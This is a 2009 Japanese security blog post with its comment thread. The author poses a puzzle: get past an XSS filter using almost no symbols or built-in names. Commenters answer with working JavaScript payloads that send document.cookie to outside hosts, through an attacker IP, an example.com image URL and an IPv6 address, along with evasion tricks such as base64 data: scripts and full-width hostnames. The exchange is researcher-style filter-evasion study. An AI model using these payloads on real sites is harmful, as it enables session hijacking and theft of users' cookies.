Hatena::ブログ(Diary)

hoshikuzu | star_dust の書斎 このページをアンテナに追加 RSSフィード Twitter

hoshikuzu|star_dustの日記について

書く内容の方針とかはフラフラしているのです。あまり考えていないかも知れません。面白いなぁと思うこと、大事なことだなぁと思うことを書いています。あんまり悲しいことは書かない主義。

 | 

2009-06-16

hasegawayosukeさんのトリックを再構したいけれど hasegawayosukeさんのトリックを再構したいけれどを含むブックマーク hasegawayosukeさんのトリックを再構したいけれどのブックマークコメント

実を言うと記号なしでJavaScriptというhasegawayosukeさんのトリックをあんまり深く調べていないんですよね。なんとなく筋道はわかるはずなので自分で作ってみようかとチャレンジしているわけです。そこで最初に考えていた問題が、文字「p」が欲しいということなんです。esca「p」eとunesca「p」eをいずれ作らなくてはいけないはずですから。たぶんこれが文字全部を表現するための最短ルート。「%」を得て数字とくっつけてunescape?

(/_/).constructor + ''

これでstringオブジェクトとしてリテラル値が「RegExp」になればケツを拾えば「p」が拾えて万万歳なはず…と思っていたのですが…

function RegExp() {
    [native code]
}

ver3.0.11ではこんなstringオブジェクトが返ってきています。うむ。Firefoxのバージョンによっては違うのかなぁ?1.5.0.8あたりでは「RegExp」が返ってきているような気がしましたが記憶違いかな?要調査也。

ハイゼンベルグとボーアとバグ ハイゼンベルグとボーアとバグを含むブックマーク ハイゼンベルグとボーアとバグのブックマークコメント

ハイゼンベルグとボーアは、初期の量子力学構築の大立者の物理学者です。この人たちの名前がついたバグの分類方法の名称があるのだそうで。

ボーア バグ
バグ現象の成立条件が判明していてその条件さえ整えればいつでも再現可能なバグ
ハイゼンバグ
バグがあるのはわかっているのになかなか成立条件が不確定。バグが出たり出なかったりさんざんな目に。

なんか、量子論の不確定性原理からもじってきたような(笑)

文字列結合系::こんなん作りました 文字列結合系::こんなん作りましたを含むブックマーク 文字列結合系::こんなん作りましたのブックマークコメント

//基礎
for (foo in {bar:0}){ }         // foo = "bar" alert(foo);    // alerts "bar" alert(typeof foo) // alerts "string"

//応用
for each (obj in {e:{}}){ for each (obj[<>{<>al</>}{<>ert(1)</>}</>] in {z:0}){ for (x in obj){ } } } alert(x) // alerts "alert(1)" alert (typeof x) // alerts "string"

文字列"alert(1)"が隠密になっていますね。文字列結合系のゆえんです。文字列結合にあたって意識的に使っていないのは以下の記号かな。マイナス記号があまりにも便利だとわかったのはつい最近ですけれど。>thanks, Mr.hasegawayosuke

' (クオート)
 " (ダブルクォート)
 \ (バックスラッシュ)
 % (パーセント)
 + (プラス)
 - (マイナス)
 * (アステリスク)
 = (等号)
 , (カンマ)
 . (ドット)

これ以上使える記号を削るのは正直厳しいけれど、上と同じ条件で、以下の$userdataにフィルタリングがかかっているとして…

<script>
$userdata
</script>

document.cookieを第三者のサイトに送りつけることが恐らく可能なのではないのかなぁと、今奮闘中なのであります。あ、言い忘れましたけれど、セキュリティフィルタにひっかかりそうな文字列は全部禁止の方向で。たとえば、「eval」や「location」「atob」とかは使えない、なんちゃて。禁止すればいいのは、new と、組み込みクラスの名前と組み込み関数の名前と、組み込みメソッドの名前と、組み込みプロパティの名前とtypeof だけかな? 悩み中。詰め問題を作るのも難儀なのであります。あ、そうか、thisとかtopとかselfとかグローバルオブジェクトそのものを指すのも禁止かあ。どうすりゃいいんだべ?

本当はなんとかして「each」を使わない、<>を使わない、できればクロスブラウザで、なんて考えているから面倒なんですよー

それに、普段は意識もしていなかったビット演算子まで考えるとなんだかうすら寒くなってきますしね。(舌

hasegawayosukehasegawayosuke 2009/06/16 18:20 with(/http/) x=source; with(x) with(<xml><s>://0xAC100101/</s></xml>) x=concat(s);with(document)with(x)location=concat(cookie); 「://」を含めたいのでE4X使ってますけど、もうちょっと。「document」とかもE4X使えば簡単に消せそうですね。

masamasa 2009/06/17 10:21 任意の文字列を生成できてdocument.writeが使えるなら何でも出来ます。
document.write("<script>\n"+a+"<"+"/script>")
をすれば良いので。

hoshikuzuhoshikuzu 2009/06/17 11:41 >hasegawayosukeさん
うーん。concatは組み込まれたメソッド(関数)なので直接書きたくないのですが、うーん。document,E4Xで簡単に消せるのですか! えー? string型の"document"ならうなづきマンです。objectでも作れるのですか? 教えてください。

>masaさん
私が勘違いしているのかもしれませんが、"write"は直接書きたくないんです。別手段で事実上writeメソッドを呼べれば良いのですが。

コメントをありがとうございました。また考えてみます。

hasegawayosukehasegawayosuke 2009/06/17 12:43 documentは window["document"] で、window は http://sla.ckers.org/forum/read.php?24,28641 な通りですね。

masamasa 2009/06/17 13:03 これで成功。あとは使う記号を減らすだけ。
for (var a in document) {
if (a >"writd") {
if ("writf">a) {
document[a]('<img src=http://www.example&#x2e.com/')
for (var b in document) {
if (b > "cookid") {
if (b < "cookif") {document[a](encodeURI(document[b]))}
}
}
document[a]('>')
}
}
}
メンバ名列挙させてヒットさせたいメンバ名文字列だけでtrueとなるメンバ名そのものを含まない条件式を書けばOK

masa141421356masa141421356 2009/06/18 00:14 スクリプトがheadの中にある場合限定。
IPv6対応環境ならこれでいけるはず。

<script>
</script>style<style> body{background:url(http://[0::1]/style)}</style>style<script>
for (writd_ in {writd:0}){}
for (writf_ in {writf:0}){}
for (cookid_ in {cookid:0}){}
for (cookif_ in {cookif:0}){}
for (toString_ in {toString:0}){}
for (charAt_ in {charAt:0}){}
for (length_ in {length:0}){}
for (body_ in {body:0}){}
for (innerHTML_ in {innerHTML:0}){}
for (split_ in {split:0}){}
for (style_ in {style:0}){}
for (var a in document)
if (a >writd_) if (writf_ > a) if (6 >a[length_]) {
document[a](document[body_][innerHTML_][split_](style_)[1])
document[a](style_)
document[a](document[body_][innerHTML_][split_](style_)[2])
for (var b in document) if (b >cookid_) if (cookif_ >b) document[a](encodeURI(document[b]))
document[a](document[body_][innerHTML_][split_](style_)[3])
document[a](style_)
document[a](document[body_][innerHTML_][split_](style_)[4])
}
</script>

IPv4のアドレスやホスト名文字列を使う場合は Math["PI"]["toString"]()の結果の文字列からで"."を取り出して文字列を組み立てれば何とかなりそう。

hoshikuzuhoshikuzu 2009/06/18 12:30 >hasegawayosuke さん
ありがとうございます<参考文献
var win = null;var forEach = [].forEach;forEach(function(val, prop,thisp) {win = thisp;}, []);win
拝見したところ、これが一番私のイメージに近いです。でもforEachという組み込みメソッドを使っていますから、あとはコレをなんとかそればいいということに。でも「=」使いたくないし、あぁ、どうしよう!それと、valueOfという組み込み関数も鬼門なのですね、なるほど。
どうやったら制限下でwindowオブジェクトを採取できるのでしょう?うううううううう。

masaさん>
なにやら読み解くのに時間がかかりそうです、それにしても、ごつい感じですねぇ、IPv6系をもってくるのは発想の外にありました、勉強になります。

masa141421356masa141421356 2009/06/19 23:36 どうしても = が消せないけど、
<script>
</script>
<script src=data:text;base64,base64でエンコードしたスクリプト>
</script>
っていう手もありますね。
エンコードされたスクリプトが実行されるときに
documentオブジェクトにアクセスできるのかどうか自信がないですけど。

hoshikuzuhoshikuzu 2009/06/22 17:49 masa141421356さん、なるほど!</script>!うっかりしてました。
=を消すのはとても難儀なことになりかねませんですね、確かに。拙文の「文字列結合系::こんなん作りました 」では、かなり時間を割いています。人間ブルートフォースみたいな。
====
hasegawayosukeさん、E4Xなしでも、string型の/をひねり出す技をみつけましたので近々。

masamasa 2009/07/02 18:00 第三者のサイト名は全角英数字とピリオドで書けばOK(NAMEPREPがあるから)。これでピリオドは完全に消せます

hoshikuzuhoshikuzu 2009/07/03 10:40 NAMEPREP!

トラックバック - http://d.hatena.ne.jp/hoshikuzu/20090616
 | 
最近のコメント
Connection: close